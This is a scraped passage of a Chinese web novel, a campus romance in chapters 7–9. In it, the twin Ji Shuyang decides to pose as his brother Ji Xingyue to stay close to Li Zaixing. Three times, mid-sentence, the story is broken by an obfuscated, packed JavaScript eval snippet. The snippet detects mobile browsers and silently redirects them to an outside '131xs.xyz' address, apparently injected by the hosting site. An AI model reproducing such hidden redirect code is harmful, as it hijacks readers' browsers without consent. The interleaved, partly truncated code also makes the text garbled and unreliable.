季行月怎么可能承认自己这毫无男子气概的易受惊体质,笑着逞强:“没呢,我装出来逗你的。” 他适时转移话题,“我们进去吃饭吧,再晚就该吃剩菜了。” 李再星跟着他走进食堂,这个时间,食堂里已经坐了不少人。 两人排队打完饭,好不容易才找到个面对面的空位坐下。 吃着饭时,李再星问:“怎么突然想起请我吃二食堂?” 季行月腹诽,当然是因为季舒阳。 他看穿季舒阳的私心,是想将错就错,继续用他的身份和李再星相处,却偏偏对他的提议始终不表态。 他没那个耐心耗下去,直接约了李再星吃饭,赶鸭子上架让季舒阳赴约。 为了让季舒阳少些顾虑,避免遇到自己在经管系的各种熟人而露馅,季行月还特意把吃饭地点安排在离经管系宿舍最远的二食堂。 他贴心地把戏台子都搭好了,季舒阳却突然罢演了。 二十分钟前,季舒阳突然给他打电话,只说了两句就挂断。 第一句,“我不会跟李再星见面。” 第二句,“如果你今天放她鸽子,我马上回学校住。” 季行月气得要死,昨晚他感冒加重,今天身体难受到连上午的课都翘了,在家睡觉休息。 就因为这通电话,他手忙脚乱从床上爬起来,火急火燎刷牙洗脸,随便套了件衣服和帽子就出了门。 他连睡乱的鸟窝头都来不及收拾,更别说打扮自己,所以今天穿得格外朴素,朴素到他脑子发昏。 季行月暗暗磨牙,脸上还是朝李再星挤出一个笑:“今天天气好,下午又没课,我想着吃完饭跟你一起去看看小猫。” 李再星笑了:“看来你是真的撸猫撸上瘾了,那我们待会儿吃完饭先在南校这边逛逛,看看能不能遇到流浪猫,没有的话就去北校的猫咪天堂,它们一定在那晒太阳。” “好啊。” 季行月扯了扯嘴角。 好累,好像回家睡觉。 本来就觉得脑子发昏,还要在这演戏应付人,他只觉脑浆都快烧干了。 满怀哀怨之时,季行月忽觉后背一凉。 他下意识抬头环顾,瞥见李再星身后某个餐桌角落的某张熟悉的脸,心脏都惊得漏跳一拍。 那人赫然是声称今天不会来见李再星的季舒阳。 季舒阳正毫不掩饰地盯着这边,脸上面无表情,阴恻恻的视线直直地往他身上刺。 “……” 季行月被那阴沉的目光盯得背后发毛。 他哥什么时候往男鬼方向发展了,大白天的要吓死人啊! 这必然不是什么嫉妒的目光。 季行月一万个肯定。 没有什么神奇的双胞胎心灵感应,是他太了解季舒阳。 比起嫉妒他能和李再星一起吃饭,季舒阳只会更关心李再星跟他吃饭时会不会不开心,会不会被他亏待。 所以,季舒阳这是在监视他。 一旦他让李再星受委屈了,回家绝对要遭殃。 季行月眼角直抽,默默收回视线。 又忽地灵光一闪,想到一个既能让自己不遭殃,又能让季舒阳吃瘪的好主意。 “李再星,你要看手相吗?”季行月忽然问。 李再星跟不上他的脑回路:“现在?” 季行月:“对,就现在。” 李再星有些莫名其妙,吃着饭呢,突然看什么手相啊? 但她还是把右手伸出去。 季行月立刻抓住她的右手,装作模样地拿着看。 两人的手握在一起,他的手显然大了一圈。 李再星之前在他的朋友圈见过他弹吉他的视频,那时就注意到,他有双漂亮的手,这会儿近距离看,更加精致。 手掌宽大,肤色很白,手指修长又具有骨感,指尖一层薄薄的茧。 感受到他掌心传来的过分炙热的体温,李再星也是慢半拍地反应过来,现在算是一种变相的牵手。 她有些不好意思地问:“看出来什么了吗?” 季行月一本正经胡说八道:“你今年桃花很旺。” 李再星忽然觉得不莫名其妙了。 这分明是在跟她暗示,他是她的桃花吧? 不,不是暗示,这都已经摆到明面上说了。 感谢青安大学感谢502宿舍,感谢恋爱大师许曼同志。 李再星心里笑开了花,仿佛已经奏响了颁奖典礼的前奏,但嘴上还是装出几分羞涩矜持:“我这人不贪心,一朵桃花就够了。” “一朵怎么够,当然是越多越好,”季行月继续胡编乱造,张口就来,“你今年至少三朵桃花。” “……啊?” 李再星再一次跟不上他的脑回路。 这又是什么意思? 不是在暗示他是她的桃花吗?敢情是真在给她看手相? 季行月嘴上胡乱应付她,一边飞快往季舒阳那边瞥了一眼。 季舒阳果然已经没再看这边,低下了头,肉眼可见的萎靡。 哈!扳回一局! 让你用回学校住的事威胁我,让你不接受我的提议,现在连嫉妒的资格都没有,就这么萎着吧! 看到季舒阳吃瘪,季行月高兴得脑子都在发昏。 他收回视线,同时也松开李再星的手。 却在这时,反被对方抓住。 李再星紧抓着他的手,“我从刚才开始就觉得奇怪。” 季行月心里一惊,“怎、怎么了吗?” 该不会是发现了他在瞎编乱造吧? 他心虚地看着李再星,后者眉心紧拧盯着他,像是要从他脸上探查出什么。 “你……” 随着她开口,季行月整颗心都跟着提起来。 “你是不是发烧了?”李再星问。 没头没尾的一句,季行月直接懵了:“啊?” 李再星直接起身探过来,手心覆上他额头。 刚贴上去,被他的体温烫到吸冷气,“你这脑门烧得都能煎鸡蛋了!” 季行月仍然懵逼,大脑运行的速度比以往慢了几倍。 原来他这会儿脑子发昏不是因为太高兴,而是因为在发烧吗? 人的脑门上真的能煎鸡蛋吗?会不会煎出流心蛋? “别吃了,走,我们去校医务室,你得赶紧打退烧针。” 李再星饭也不吃了,二话不说收了两人的餐盘,拉着季行月就往校医务室走。 还看手相看桃花呢,她就说季行月今天怎么奇奇怪怪,原来是发烧把脑子给烧糊涂了。 39.2℃。 季行月确实烧得有些糊涂了,不然也不会这么稀里糊涂地就被李再星拽到校医务室。 等他反应过来,校医已经拿出了针筒。 “……等等等等!”季行月连连后退,“我发烧吃个退烧药就行了,不用打针。” “打针好得快!” 李再星二话不说把他摁到床上,“你上周末就在咳嗽,要是吃药管用,今天也不会烧成这样。” “那是因为我……没吃药……” 季行月说这话的底气有些不足。 因为逃避吃药导致感冒加重,这种孩子气行为实在有损他的帅哥形象。 但为了不打针,有损形象也只能如实交代。 李再星却更坚持,“那就更要打针了!” “你既不吃药又不打针,这感冒怎么能好?”她振振有词,这一刻仿佛化身专治熊孩子的家长。 季行月顿时变成遇见杰瑞表哥的汤姆,弱弱开口:“我、我现在马上吃退烧药行不行……” 好看的人一旦示弱就变得我见犹怜,见他可怜兮兮的模样,李再星也有些心软,她看向医生。 医生端着输液托盘走过来,热情如过年迎客的亲戚,“来都来了,打一针再走吧!” 季行月两眼一黑。 来都来了——必须登顶他今年最讨厌的一句话! 消毒,扎针,点滴调速。 李再星守在旁边看着医生给季行月挂上点滴,后者把头撇到一边,刻意不去看被扎针的手,另一只手紧紧握拳,那模样跟她小表弟打针时一模一样。 李再星问:“你是不是害怕打针?” 季行月纠正:“不是害怕,是讨厌。” 李再星不明白这有什么区别。 见她不信,季行月有理有据解释:“我不喜欢针扎进血管的触感,也不喜欢冰凉的液体流进身体的感觉。” “原来是这样,”李再星煞有其事跟着点头,又可惜道,“早知道刚刚让医生给你打屁股针。” “……那更痛!” 季行月反应激烈。 察觉自己语气激动,又咳了咳,“我的意思是,但凡是尖锐物品,我都不喜欢。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484287|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所以本质还是怕痛。 李再星看他强行挽尊,就为了掩饰自己害怕打针,憋了一会儿还是没忍住,低头笑得肩膀直颤。 “你笑什么?”季行月语气颇为不满。 李再星觉得得给他留点面子,憋着笑找借口,“我忽然想起昨天刷到的笑话。” 她的借口根本毫无说服力。 季行月自暴自弃道:“算了,你笑吧,总之今天是我脑子烧糊涂了,不是真正的我。” 说完,他把被子往头顶一扯,连同脑袋一起盖住。 偏偏他戴了个棒球帽,帽檐将被子顶出一个凸起。 李再星隔着被子轻轻拍了拍他手臂,“戴着帽子睡觉不舒服,你要不要取下来再睡?” 季行月毫不犹豫拒绝,“不用。” 李再星以为他在因为她笑他怕打针的事闹别扭,继续劝他,“还是取下来吧,我帮你取?” 她话音才落,季行月的另只手就先一步摁在了头顶,小声嘀咕了一句什么。 隔着被子,李再星没听清,问了句。 季行月把被子一掀,露出张幽怨又别扭的脸:“我没洗头。” 李再星愣住。 反应过来时,连低头都来不及,当场就笑出声来。 季行月整张脸慢慢变红,不是因为羞涩,而是因为羞耻。 该死的,今天真是丢脸丢到家了! 李再星都快笑出了眼泪,跟他也见了好几次面,有时候觉得他有点装模作样,有时候又觉得他安静过头,今天又有个新发现。 “如果我说你可爱,你会生气吗?”李再星擦了擦笑出的眼泪,问。 季行月一脸无语:“真怕我生气就不该问这种问题。” 李再星嘿嘿笑了声:“但我还是要说,你今天真的很可爱。” “……” 季行月自暴自弃闭上眼,装没听见。 这根本不是夸奖,这是对他这些丢脸事的委婉表达。 这算是报应吗? 他故意设计让季舒阳吃瘪的报应。 看吧,连老天都偏爱季舒阳。 季行月不想说话,闭着眼睛逃避现实。 又突然睁开眼,没打针的右手伸进裤兜,摸出张学生卡,递给李再星。 对上后者不明所以的视线,季行月说:“不是因为我都没吃完饭吗?用我的卡去买点东西吃。” 这和季舒阳有没有在监视无关,她总归是因为他没好好吃完饭。 李再星眨了眨眼,他确实是个绅士的人,即便这会儿因为丢脸而懊恼,也没忘记这份细心。 她没有推辞,接过他的卡,“你有没有想吃的,我帮你买回来?” 季行月视线往上,示意了眼输液架上挂着的几瓶药水,“我这得几个小时,你在那吃完就回去吧,不用跟我在这耗着。” “那怎么行,”李再星自然没有听他的建议,“一个人打针很孤独的,反正我下午也没课,就让我陪你待着吧。” 季行月不喜欢欠人情,但说服不了她,“那你想吃什么就多刷点,别给我省钱。” 李再星笑着说了好,又问到他想吃什么,拿着他的卡离开医务室。 这个时间点,食堂基本收了摊,倒是有馆子一天常开着,但李再星不太想在外面耗太久,就去了趟便利店,买了点自己吃的面包酸奶,和季行月要的柠檬茶。 回到医务室,季行月看到她的第一句话,“你手机微信一直在响,你看看是不是有什么急事。” 李再星这才发现自己把手机落在了这里,拿起手机看了眼,几十条微信消息,全是韩栀子发来的。 韩栀子估计今天也没课,几十条微信消息一半是自拍照片,肉眼可见已经兴奋到走火入魔的地步。 李再星扣了个1表示已阅,回复:正在陪crush,勿扰。 多年默契无需多言,见色忘友约定俗成,对方秒回了个ok,和一连串红唇、坏笑的emoji。 “不是急事,是我朋友。” 李再星放下手机,帮他拧开瓶盖,把柠檬茶递给他,“对了,她就是我之前跟你说同校的那个朋友,说不定你还认识。” 虽说他现在在挂点滴,单手不方便开瓶,但她帮他拧瓶盖帮得未免太顺手了点。季行月有些别扭地接过柠檬茶,道了声谢,随口问了嘴:“是吗,她叫什么?” “韩栀子。” “……” 季行月差点把刚喝进去的柠檬茶给喷出来,“你说谁?” 8. 第 8 章 “韩栀子呀。”见他这反应,李再星欣喜问:“你认识她?” 这可太认识了。 高中开学典礼上惊艳到他的那个女生,正是韩栀子。 季行月不太自然地说:“只是知道她的名字。” 他和韩栀子确实没有正面接触过,知道韩栀子对季舒阳感兴趣后,他就立刻没了心思,两人又不同班,连楼层都不一样,高中都没说过话。 李再星为此有些可惜,但也没觉多意外。 上周末跟季行月吃完饭后,她就给韩栀子实时转播了当天的约会情况,提到了季行月高中也在明礼念书。 韩栀子表示对这人没印象,明礼姓季的人,她只知道她班长。 她高中时也确实两耳不闻窗外事,一门心思要摆脱万年老二这称号。 在李再星颇感遗憾时,季行月今天格外迟钝的大脑忽然拐过弯来。 韩栀子和李再星是好姐妹,韩栀子喜欢季舒阳,季舒阳又喜欢李再星,这不纯纯三角恋吗? 狗血,真是泼天的狗血! 这种狗血三角恋竟然就发生在他眼前。 季行月一脸复杂地看向李再星。 察觉他视线,李再星不明所以眨眨眼,又想到什么,立刻了然,从椅子上起身,抬手把输液瓶取下来,举过头顶,“走吧。” 季行月茫然:“走去哪里?” 李再星朝他爽朗一笑,露出唇下的小虎牙,“你不是尿急想去洗手间吗?” “……” 季行月一言难尽闭上眼。 这个憨憨,季舒阳怎么会喜欢上她? …… “我离谈恋爱真的不远了!” 李再星第n次在宿舍说这句话。 她兴奋开启说书先生模式,把自己和季行月在医务室的相处从头到尾给室友们讲了遍。 关柔听得津津有味,看过很多恋爱小说的王佳佳却若有所思:“总觉得缺了点什么。” 两双眼睛齐刷刷看向她,求知若渴,异口同声:“缺了什么?” 王佳佳掰着手指头说:“心动,暧昧感,粉红泡泡。” 李再星一愣,从头到尾把今天飞快复盘,虽然和季行月相处得很愉快,但这种愉快确实没有许曼说的这些感觉,把事件里的主人公换成除季行月外的其他人,好像也一样会这么愉快。 李再星从一开始的欣喜变成惊慌:“那该怎么办?” 关柔简单粗暴:“换个crush。” 李再星当然不同意,“可我现在还是对他有好感。” “那就继续跟他处着,反正只是暧昧,又没交往,”王佳佳洒脱道,“就算交往了,男人而已,不合适就换。” 李再星还是觉得郁闷,“为什么会没有暧昧感呢?他今天穿得也不潮呀?” “心动这种东西很玄学的,就那么一瞬间的感觉。” 见她闷闷不乐,关柔安慰道:“好啦,别郁闷了,明天周末没课,我们今晚下馆子去,畅快喝一通。” …… “那个……季舒阳,你光喝酒,很快就会醉的。” 桌上的空酒瓶已经摆了几列,董博远战战兢兢地劝季舒阳少喝点。 “知道了。” 被他劝的男生只淡淡回了这么一句,又继续往酒杯里倒满啤酒。 董博远很头疼,实在后悔今天在路上喊季舒阳一起吃饭。 他和季舒阳做了一年的室友,关系相较于其他同学来说更亲近。 季舒阳虽然看着是个沉默寡言性格阴沉的人,但去年一年接触下来,他比想象中好相处。 之前某个公选课需要做小组作业,董博远恰好跟他分到同组。小组五个成员,三个想浑水摸鱼搭便车。 课题任务繁重,董博远这组长虚有其名,根本喊不动人。 就在他叫天天不应叫地地不灵时,季舒阳找上他,雷厉风行重新制定任务分配,一个人包揽三个人的活。 最后,小组作业顺利完成,并且,季舒阳删了那三个浑水摸鱼同学的署名,丝毫没给商量余地。 那三个同学由此记恨在心,到处歪曲事实,说季舒阳故意在一开始丢给他们完不成的活所以没法做,还归咎到季舒阳的性格,说他冷漠孤僻,仗着自己成绩好就高高在上,难以沟通。 尽管董博远和另一个组员为他到处辟谣,跟人据理力争,但三人成虎,再加上季舒阳平日确实独来独往,待人冷淡,于是他不懂为人处事的传言就这么传开,许多人都因此对他敬而远之。尤其是男生。 因为那三个组员也都是男生,其中一个还跟他们一个宿舍。 董博远一度觉得,季舒阳大二开学搬出去住,是不是有这个原因。 不过,季舒阳从来没对那些传言表过态,就算董博远忿忿在他面前提及,他也只有一个态度。 就好比刚才劝他少喝点酒那样,淡淡回一句“知道了”,接着就像什么都没听到一样继续做自己的事。 说来今天也奇怪,董博远以前每次约季舒阳吃饭,他十次里有八次直接拒绝,剩下两次会给个理由再拒绝。 今天却在拒绝后又忽然反悔,答应了。反常得很。 而且坐到现在根本就没吃饭,光顾着喝酒。反常×2。 董博远正琢磨这反常是怎么回事,忽听季舒阳问:“我和季行月……很难分辨吗?” “没有啊,”董博远毫无犹豫地回答,“你们俩性格差那么多,穿衣风格也不一样,挺好认的。” 季舒阳低下眼,看着酒杯里的啤酒泡沫,也不知道在想什么,浑身上下弥漫低气压。 董博远马上意识到自己这回答似乎刺激到了他,连忙补救:“但你们俩确实长得比一般的双胞胎更像,咱们系今年刚搬来本部那会儿,很多人不知道你们是双胞胎,还以为你们俩是同一个人呢。” 他以为往反方向说会让季舒阳心里好受点,然而,听他说完后,季舒阳肉眼可见地更萎靡。 董博远顿时觉得自己像只站在天秤上的狗,往这边走,是让季舒阳受打击,往那边走,还是让季舒阳受打击。 他实在没办法了,不过从季舒阳的这个问题猜出了一点苗头。 “是谁把你和季行月认错了吗?直接告诉他不就行了?”董博远暗示他去学会迁怒,“让他跟你道歉!必须道歉!” “……是我该跟她道歉。”季舒阳低声喃喃。 他声音太低,董博远没听清,又问了句。 季舒阳却忽然起身,“我去外面抽根烟。” 他丢下这句话就往外走。 桌上的啤酒基本都是他一个人干完的,却丝毫不见他走路有半分摇晃,人也不见醉意。 董博远看着这一桌被季舒阳摆得整整齐齐的空酒瓶,啧啧感慨:“大神果然在哪方面都是大神,可真能喝啊。” …… “……不行,再喝下去我要吐了。” 王佳佳第一个投降,捂着翻涌的胃往桌上一趴。 她本来就吃得多,喝了点酒就马上觉得刚吃下去的猪牛羊在胃里开运动会。 “这才喝了几瓶就不行了,”最能喝的关柔对她的酒量感到质疑,要跟李再星继续,扭头却不见人影,“咦,我们星呢?” 醉意朦胧眯着眼,“说是突然想吃甜的,买冰淇淋去了。” 关柔一听到冰淇淋就仿佛被冻着了一样,打了个寒碜,“这大冬天的,她真是不嫌冻啊。” 李再星确实被冻着了,在冷风里结实地打了个大喷嚏。 她醉得脑子都不怎么能正常思考,连脱下来挂在店里的外套都没穿,就这么摇摇晃晃地出了门。 街边路灯已经亮起,弯月悬在漆黑天际。 冷风一个劲往李再星脖子里灌,醉醺醺的脑袋也还是没想到要回去拿外套。 她缩着脖子低着头,哆哆嗦嗦地往便利店的方向走,一边碎碎念叨着:“好冷好冷好冷……” 就这么埋头只看着地面走时,脑袋忽然撞上一堵硬邦邦的胸膛。 她脚步虚浮一跌,差点摔倒之际,忽觉手臂一紧。 一只修长有力的手抓住她的手臂,将她扶住。 李再星起初以为撞上了路灯杆,醉意朦胧地抬头,先入目的是线条流畅利落的下巴颏儿,再往上,是微微抿起的淡色薄唇,看着好像很好亲的模样。 她一路往上的视线终于看清对方的全部正脸,路灯的光落在少年宽阔的肩头。 李再星眼睛一亮,惊喜笑出来:“季行月?怎么是你啊!” 季舒阳抿着唇,半张脸隐在光线的阴影里,声音有些冷,“我不是他。” 李再星耸着鼻子嗅了嗅,闻到他身上的酒气,以为他也醉了,傻呵呵笑了:“你不是谁是?” 季舒阳确实喝了不少酒,没醉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484288|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到说胡话的地步,但会生闷气,“反正我不是。” 他声音闷闷的,听在李再星耳朵里,像是在闹别扭。 “好嘛好嘛,你不是,”李再星拍着他的手臂安抚他,“那你是谁呢,请告诉我吧~” 一副哄小孩的语气,根本还是没当真。 季舒阳低头看着她,双眸黑而深沉,像冬夜的海面,情绪在其中翻涌。 头顶的路灯出现故障,昏黄的光线毫无规律地闪烁了几下。 “你怎么一个人在这?”季舒阳到底还是没说,换了个话题。 “不是一个人,我和我室友们在一起呢,我出来买冰淇淋吃。” 李再星丝毫不觉话题被转移,碎碎念一样否认,又仰起脑袋,眯着眼睛望向故障的路灯,像觉得新奇的小孩,“咦,这路灯好像坏了,是不是要打电话报修?” 喝醉酒的她思维跳跃,想一出是一出。 季舒阳看她身上只一件单薄毛衣,连外套都没穿就出了门,眉心皱得更深,“你们在哪家店喝酒?” “我得先去买冰淇淋~” 李再星答非所问,染了醉意的嗓音像被甜酒浸过,比平时软上几分。 看来不遂她的愿就问不出有效信息,季舒阳无奈叹气,松开她的手臂,将自己的羽绒服外套脱下来,想披到她身上,却被李再星伸手拦住。 “不行,我不能抢你的衣服穿,”李再星义正词严,“你是病人!” 季舒阳动作一顿。 感冒生病的人不是他,被她关心的人也不是他。 “……我没生病。” 季舒阳硬邦邦否认,强行把外套披到她身上,“伸手。” 喝醉的李再星被他冷硬的语气唬住,老老实实地伸出左手,穿进袖子里。 “另一只。”季舒阳再次下指示。 李再星乖乖照做。 两人身高体型差上很多,这短羽绒服外套穿在她身上,不管袖子还是衣摆都长过一大截,显得宽松又臃肿,像个软扑扑的小球。 季舒阳弯下腰,帮她把外套拉链拉上,“现在走吧。” 李再星弱弱地问:“走去哪呀?” 季舒阳:“不是要去买冰淇淋吗?” 李再星偷偷瞥他,见他侧脸线条微绷,咬肌收紧,是隐忍不悦的神态。 她小心翼翼试探:“你是不是生气了?” 季舒阳顿了几秒,否认:“……没有。” 明明就在生气。 即使喝醉了,李再星也还是能分辨出人的情绪好坏。又或许,是他太不会撒谎。 李再星想了想,艰难地从长过一截的羽绒服袖子里伸出手,去抓住他的手指。 被她抓住的手指蓦地僵住,连同他整个人。 季舒阳本想挣脱她,但她的手指被冻得冰凉,凉到他想要把最后一丝体温分给她。 李再星微微仰头,路灯的灯光将她的五官轮廓晕染得十分柔和,染了几分醉意的杏眼像星星般明亮。 “我买冰淇淋给你吃,别生气了好不好?” 见他不应,她攥着他的手指轻摇,冲他傻笑,“好不好呀,月月?” 季舒阳看着她。 心脏像捆绑了千斤重的石头后被丢进深海,沉重又窒闷。 头顶的路灯再一次闪烁,似乎即将撑到极限,灯光明明灭灭,隐约可闻电流噼啪声。 他耳畔响过季行月的诘问,一句又一句,宛如沾了毒药的花刺,裹了蜜糖的砒霜,尖锐,甜美,充满诱惑。 ——哥不是已经被拒绝过了吗? 是,从一开始就被拒绝了,我是失败者。 ——不是想留在她身边吗,为什么不继续用我的身份跟她做朋友? 没错,几次碰面,她对我的亲切都是因为你。 ——不会被发现的,谁让我们是双胞胎呢。 不会被发现的,反正我们是双胞胎。 ——所以,哥想好了吗? 故障的路灯“啪”的一声熄灭。 像骤然按下的休止符,心脏沉入海底,束缚的锁链松开。 痛苦挣扎的眼睛彻底被湮没在阴影里。 残月高悬的冬夜,朦胧月光薄凉地落在他们身上。 终于,季舒阳回握住她冰凉的手。 学习着,模仿着,他弯起眼睛,牵起嘴角,扯出温柔的笑:“好,我答应你。” 9. 第 9 章 “我完蛋了。” 这是李再星酒醒后的第一句话。 一觉醒来天都塌了,无需别人帮她回忆,她一睁开眼睛,意识回笼,昨晚醉酒后发生的事就跟电影幻灯片似地在脑子里自动播放。 李再星哆哆嗦嗦爬下床,朝已经醒来有一会儿,正在用美容仪消水肿的关柔小声求救,“怎么办,我昨天晚上跟我crush耍了好一通酒疯!” 关柔从容不迫地沿着下颚线滚动美容仪,“放心,耍个小酒疯而已,只要没酒后乱性,一切都好说。” 李再星今天是在宿舍醒过来的,酒后乱性自然不可能。 “可是耍酒疯是仅次于酒后乱性的大社死啊!” 关柔不以为然:“如果一个男人对你有意思,你就算酒后围着他跳大神,他都只会觉得你可爱。” “他要是不这么觉得呢?” “那这个男人可以换了。” “……” 李再星确定自己昨晚没围着季行月跳大神,但也差不多了。 她记得她不仅牵了季行月的手,还跟他撒娇喊他月月。 这就足够社死了,更不堪入目的是之后的事。 买完冰淇淋之后,她看季行月被风吹得很冷,于是把外套拉链一拉,两只手抓着衣服边,跟个变态似地朝他敞开,大声跟他吆喝,让他过来抱着她取暖。 脑海中闪过那个画面的瞬间,李再星脚趾狠狠抓地,绝望捂住脸。 19岁的人生,活到今天,她第一次知道自己原来是个女流氓。 季行月当时是什么反应来着?真的抱住了她吗? 无论李再星怎么往回想,都想不起来。 但她猜测,季行月当时一定很无语,对她的好感一路跌到负数也不为过。 地球好难待,想上宇宙飞船…… 李再星像颗蔫掉的小白菜,垂着无力的手臂,弯腰驼背地坐到书桌前。 不经意看见桌上放着陌生的黑色羽绒服外套,她愣了愣,想起来是季行月昨晚脱给她的。 这大概是她最后一次穿季行月的衣服了吧。 李再星悲从中来,一个鲤鱼打挺站起,把这件外套重新穿身上,听到口袋里传来什么物件碰撞声响,掏出来一看,是一盒已经开封的香烟和一只打火机。 李再星有些惊讶,没想到季行月还吸烟,他看着不像是会吸烟的人。 不过他那双手那么漂亮,修长的手指夹着香烟,缥缈烟雾在指间缭绕的模样,光是想想,就性感得要命。 李再星把东西揣回兜里,正好醒来的王佳佳,听到她窸窸窣窣的动静,转过身来,看见她这臃肿夸张的打扮,沙哑着声音问:“你这是在cosplay企鹅?” 李再星严肃道:“这是我crush的衣服。” “所以?” “我们俩的交集可能到此为止,”李再星一脸悲伤,“最后一次穿他衣服,还回去之前,我要穿回本。” 王佳佳:“……” 没救了,这孩子已经从流氓发展成了痴汉。 李再星对着她crush耍酒疯的事,关柔是知道的。 昨晚她见李再星离开太久,就出来找人,结果就是,刚好撞见她那醉酒的室友朝一个男生大敞着外套扑过去的流氓行径。 关柔生怕下一秒要去警察局捞人,第一时间跑过去制止,跟那个男生道歉。 对方却丝毫没有被冒犯的生气,不仅没生气,还很温柔地扶住李再星。 在李再星捧着他的脸胡作为非占便宜的时候,他还一边耐心地哄着她,一边给她重新拉好拉链。 关柔之前在李再星手机里见过一次她crush的照片,也是在这时候才认出他。而李再星身上那不合尺寸的衣服,一看是他脱下来给她的,最后也是他帮忙把李再星送到宿舍楼下。 就连没谈过恋爱的关柔都能看出来,昨晚那个男生对李再星的态度,李再星是真离谈恋爱不远了。 关柔看了眼李再星,后者已经开始闻起衣服气味,活脱脱痴汉行径。 ……算了,还是不把这事告诉她,不然尾巴翘上天。 李再星势要把这件衣服穿回本,下半张脸都缩进外套领子里。 外套上残留着一丝的酒气,还有男生身上的气息,淡淡的木质香。 咦,似乎和上次的柑橘调不一样。 李再星嗅到一半发觉不对。 手机忽然“叮”地响了声。 拿起一看,是她的酒疯受害者发来的短信,问她醒了没。 李再星顿时有种做坏事被发现的心虚,连忙拿着手机跑阳台上去,关上阳台的门,这才给季行月回拨电话。 电话很快就被接通,李再星开口第一句话就是道歉:“对不起对不起对不起!我昨晚真的喝得太多了!冒犯到你了真的很对不起!” 她诚恳又急切,就差在电话这边九十度鞠躬。 “没关系,我没觉得被冒犯。” 季舒阳的声音从手机那端传过来,语气淡淡的,并没有李再星预想中的嫌弃。 他顿了顿,稍有些生涩补充:“很可爱。” 李再星一愣,脑子里闪过关柔刚才说的话,脸蛋唰地热起来。 她靠在露台,眼睛盯着地面瓷砖的花纹,脚尖在花纹上无意识地轻点,声音无意识地多了几分做作,“我昨晚抢了你的衣服,你有没有着凉呀?” “没有,”季舒阳反问,“你呢,宿醉后有头疼吗?” 李再星在手机这边摇了摇头,尽管对方并看不见。 “就是有一点想吐,胃不太舒服。” “那你有想喝的汤吗?我给你做。” 李再星受宠若惊:“你、你给我做?” 季舒阳嗯了声:“我住在校外,下厨很方便,做好给你送过去。” “这、这也太麻烦你了,”李再星哪里好意思让他亲自做饭还送过来,但又舍不得错过吃他炖的汤的机会,脑子一抽,脱口而出,“要不我过去吧!” 季舒阳一怔,有些迟疑:“你……要来我家?” 李再星说完就拍着自己的脑门悔恨不已,昨天才耍酒疯冲人耍流氓,今天就跑人家里去蹭饭,这也太、太…… “要我来接你吗?” 李再星还没想到一个合适的形容词来唾骂自己,就听电话那头的男生这么说。 她大脑瞬间短路,慌慌张张地回:“不不不用,你把地址发我就行。” “好,那一会儿见。” 通话结束,李再星人还是懵的。 她刚刚经历了什么? 不仅主动提出去季行月家,还让人家把家里地址告诉她? 季行月还答应了? 李再星兴奋地在阳台上哼哼哈嘿捶打空气,整个人蹦蹦跳跳。 离阳台最近的王佳佳把她在阳台发疯的全程看在眼里,从床上探出脑袋,问已经开始敷面膜的关柔,“我谈恋爱了,也会变得这么神经吗?” 关柔锐评:“你是大学生,那是小学生。” 大学生放心了,被子一盖,继续睡回笼觉。 …… 灰蓝色的被子唰地一下被掀开,从四面八方围攻过来的冷风冻得季行月在梦里打了个寒颤。 他一睁开眼,看见季舒阳那张面无表情的脸,又打了个寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484289|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤。 “你你你干嘛呢?”季行月蜷缩成一团,双手护在胸前,“大早上的搞谋杀?” “十点半不算早上。” “周末中午十二点以前都算早上!” 季行月振振有词,又故意拿他上次凶自己同样的缘由怪罪他:“你怎么不敲门就进来?下次我也不敲你门了!” “是你自己睡得像死猪,没听见。” 季舒阳没时间跟他扯这些,直说来意,“借套衣服给我。” 季行月人有点懵,“你不是一直很嫌弃我的品味,突然穿我衣服做什么?” “我约了李再星见面,”季舒阳顿了顿,补充,“以你的名义。” 季行月愣了好几秒,眼珠子转了好几圈,这才反应过来,“你答应我的提议了?” 他喜出望外,立刻从床上爬起来,也不管冷不冷了,三步并作两步冲到衣柜前,一边给季舒阳挑衣服,一边嘚瑟地马后炮,“我就知道你肯定会答应!” 相比他的欣喜,季舒阳反应冷淡:“你的条件是什么?” 他知道季行月不会无缘无故帮自己,必然有他需要的东西。 季行月挑衣服的动作一顿,拎着几套衣服笑着转身,“我哪有什么条件,我这是乐于助人。” 季舒阳显然不信,“免费的就是最贵的。” 季行月啧了声:“说了又不信,不信又要问。” 他一手拎着一套衣服,往季舒阳身上比划,“行吧,那你每个月的生活费给我一半。” 他其实没想要钱,但季舒阳既然上赶着倒贴,他又怎么可能客气。 “可以,”季舒阳推开他那件过分夸张的拼接绑带毛衣,“前提是你好好配合。” 季行月挑眉一笑:“那是自然。” 季舒阳:“所以,十一点之前离开这里,没我的同意不准回来。” 